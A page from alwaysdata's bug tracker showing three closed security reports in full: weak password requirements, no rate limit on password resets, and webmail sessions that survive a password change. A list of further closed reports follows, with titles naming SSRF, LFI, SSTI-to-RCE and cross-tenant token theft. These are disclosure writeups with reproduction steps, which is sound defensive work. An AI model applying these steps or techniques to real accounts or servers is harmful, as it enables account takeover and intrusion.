Impact : Users may create accounts with highly predictable passwords. Increased risk of credential stuffing and password spraying attacks. Greater likelihood of unauthorized account access. Reduced overall account security posture. Expected Behavior The application should reject passwords that:
Match the user's email address. Contain the email address in whole or in part. Are commonly guessable or predictable. Do not meet minimum complexity requirements.
Recommendation Prevent users from using their email address as their password. Implement password strength validation during registration. Enforce minimum password requirements (length and complexity). Integrate breached-password checks using services such as Have I Been Pwned Passwords API. Provide users with clear guidance on creating strong passwords.
CWE CWE-521: Weak Password Requirements
OWASP OWASP Top 10 2021 – A07: Identification and Authentication Failures
Evidence: Registration form accepted a password identical to the email address used during account creation.
Thanks
|
|
421 | The password reset request endpoint does not appear to ... | Closed | 24.07.2026 |
Task Description
A rate limiting algorithm is used to check if the user session (or IP address) has to be limited based on the information in the session cache. In case a client made too many requests within a given time frame, HTTP servers can respond with status code 429: Too Many Request. I just realized that on the reset password page, the request has no rate limit which can be used to loop through one request
Steps to reproduce-
.Go to the alwaysdata password reset page. .Enter the email address of a test account controlled by the researcher. .Submit the password reset request. .Repeat the same request multiple times within a short period using the same email address. .Observe that the application continues accepting the requests without showing a cooldown, CAPTCHA, temporary block, or rate-limit error.
Observed Result: The application allows repeated password reset email requests for the same account without visible throttling or blocking.
Expected Result: The password reset endpoint should apply abuse protection, such as:
Per-account cooldown. Per-IP rate limiting. CAPTCHA after repeated attempts. Temporary blocking after excessive requests. Generic response message to reduce abuse.
Security Impact: An attacker could abuse this behavior to repeatedly send password reset emails to a target user. This may cause inbox flooding, harassment, and abuse of the platform’s email-sending resources.
I tested this only against my own account and did not attempt to target other users or perform high-volume testing.
Proof of Concept is in the video below
|
|
420 | Webmail Sessions Persist After Admin Panel Password and ... | Closed | 22.07.2026 |
Task Description
## Summary
When a user changes their password or email address through the admin panel at `admin.alwaysdata.com/user/`, all admin panel sessions are correctly invalidated. However, active webmail sessions at `webmail.alwaysdata.com` are not invalidated and continue to function indefinitely (up to 30 days). This means a user who suspects account compromise and changes their admin password to secure their account will not realize that active webmail sessions (potentially controlled by an attacker) remain fully functional. The webmail session cookies (`roundcube_sessid` and `roundcube_sessauth`) also lack `HttpOnly` and `SameSite` flags, making them susceptible to theft via JavaScript.
## Steps to Reproduce
Environment: Two browser sessions (or two sets of cookies). A hosting account with a configured mailbox.
1. Login to the admin panel at `https://admin.alwaysdata.com/login/` with the account's email and password. Note: this is the "admin" password, not the mailbox password.
2. Login to webmail at `https://webmail.alwaysdata.com/` using the mailbox credentials (e.g., `accountname@alwaysdata.net` with the mailbox password). Confirm you can read email.
3. In a separate browser session, change the admin panel password at `https://admin.alwaysdata.com/user/`. Enter a new password in the "New password" field and the current password in the "Old password" field. Save the form.
4. Verify admin sessions are invalidated: Any other admin panel session now redirects to the login page (HTTP 302 to `/login/`). This is correct behavior.
5. Check the webmail session: Refresh the webmail page from step 2. The webmail session is still fully active. The user can continue reading and sending email despite the admin password having been changed.
6. Repeat with email change: Login to webmail. Change the admin email address at `/user/`. The webmail session still persists.
## Impact
A user who suspects their account has been compromised follows the standard security response: they change their password through the admin panel. They expect this action to terminate all active sessions across all alwaysdata services. However:
1. Webmail sessions survive the password change and remain active for up to 30 days (the `Max-Age` of the Roundcube session cookies) 2. An attacker who has obtained a webmail session (e.g., via cookie theft, session fixation, or a prior compromise) retains access to the victim's email even after the victim changes their admin password 3. Email access enables further attacks: password reset emails for external services, confidential communications, account recovery flows
The Roundcube session cookies compound this issue: - `roundcube_sessid` and `roundcube_sessauth` are set without HttpOnly and without SameSite, making them accessible to JavaScript on any page served from `webmail.alwaysdata.com` - Both cookies have `Max-Age=2592000` (30 days), providing a long window of exposure - Compare with the admin panel's `sessionid` cookie which correctly sets `HttpOnly; SameSite=Lax; Secure`
## Root Cause
The admin panel (`admin.alwaysdata.com`) and webmail (`webmail.alwaysdata.com`) use independent credential stores. The admin panel authenticates via Django sessions tied to the customer email/password. The webmail authenticates via Roundcube sessions backed by IMAP with the mailbox-specific password. When the admin password is changed, Django invalidates all Django sessions but has no mechanism to invalidate the Roundcube sessions.
While the architectural separation explains the behavior, users expect a single "change password" action to secure their entire account. The admin panel's `/user/` page is the primary security management interface, and it should cascade session invalidation to webmail.
## Remediation
1. Invalidate webmail sessions on admin password/email change: When the admin password is changed at `/user/`, also invalidate all active Roundcube sessions associated with mailboxes on that account. This could be done by resetting the Roundcube `session` database table entries for the relevant IMAP user, or by changing the mailbox password simultaneously. 2. Add HttpOnly and SameSite flags to the `roundcube_sessid` and `roundcube_sessauth` cookies. These cookies should not be accessible to JavaScript. 3. Reduce session cookie lifetime: 30-day session cookies for a webmail interface are unnecessarily long. Consider a shorter maximum (e.g., 8 hours for non-persistent sessions).
|
|
419 | Server-Side Request Forgery via Reverse Proxy Site Type ... | Closed | 22.07.2026 | |
|
418 | Cross-Tenant Data Exposure via Shared /tmp Directory | Closed | 22.07.2026 | |
|
417 | Cross-Tenant Data Exposure via World-Readable /tmp | Closed | 20.07.2026 | |
|
415 | SSTI → RCE on Core Infrastructure Server (overlord-core ... | Closed | 20.07.2026 | |
|
413 | Cross-Site Request Forgery (CSRF) Allows Logs Refresh o ... | Closed | 17.07.2026 | |
|
412 | Direct Organization Access Granted, Leading to Organiza ... | Closed | 16.07.2026 | |
|
411 | Expired Two-Factor Authentication (2FA) Code Accepted, ... | Closed | 15.07.2026 | |
|
410 | Unrestricted PHP ini Directive Injection via php_ini fi ... | Closed | 15.07.2026 | |
|
409 | Path Traversal in site path field leads to arbitrary fi ... | Closed | 15.07.2026 | |
|
408 | API bypasses Databases feature entitlement (create plan ... | Closed | 14.07.2026 | |
|
407 | A Content Security Policy (CSP) bypass | Closed | 15.07.2026 | |
|
403 | LFI via Apache Alias Directive Injection in `vhost_addi ... | Closed | 13.07.2026 | |
|
401 | Critical SSRF via Application Script Source URI — Cross ... | Closed | 13.07.2026 | |
|
397 | Unvalidated Apache Directives in Site API — LFI, SSRF, ... | Closed | 13.07.2026 | |
|
396 | Server Crash via X-Forwarded-Host | Closed | 13.07.2026 | |
|
395 | LFI via Apache Alias Directive Injection in `vhost_addi ... | Closed | 13.07.2026 | |
|
394 | SSRF via ProxyPass Directive Injection — Internal Port ... | Closed | 13.07.2026 | |
|
393 | Cross-Tenant Data Exposure via Shared /tmp Directory — ... | Closed | 13.07.2026 | |
|
392 | Path Traversal in Site `path` Field Allows Reading Arbi ... | Closed | 13.07.2026 | |
|
391 | Dangerous PHP INI Injection via Site API — `allow_url_i ... | Closed | 13.07.2026 | |
|
390 | Environment Variable Injection — LD_PRELOAD and PATH Ac ... | Closed | 13.07.2026 | |
|
389 | Cross-Tenant Session Token Theft via Shared /tmp — Acco ... | Closed | 13.07.2026 | |
|
388 | Privilege Escalation — Free-Tier User Sets Reseller-Lev ... | Closed | 13.07.2026 | |
|
375 | Cross-Site Request Forgery (CSRF) Allows Restart of An ... | Closed | 13.07.2026 | |
|
371 | attacker test | Closed | 12.07.2026 | |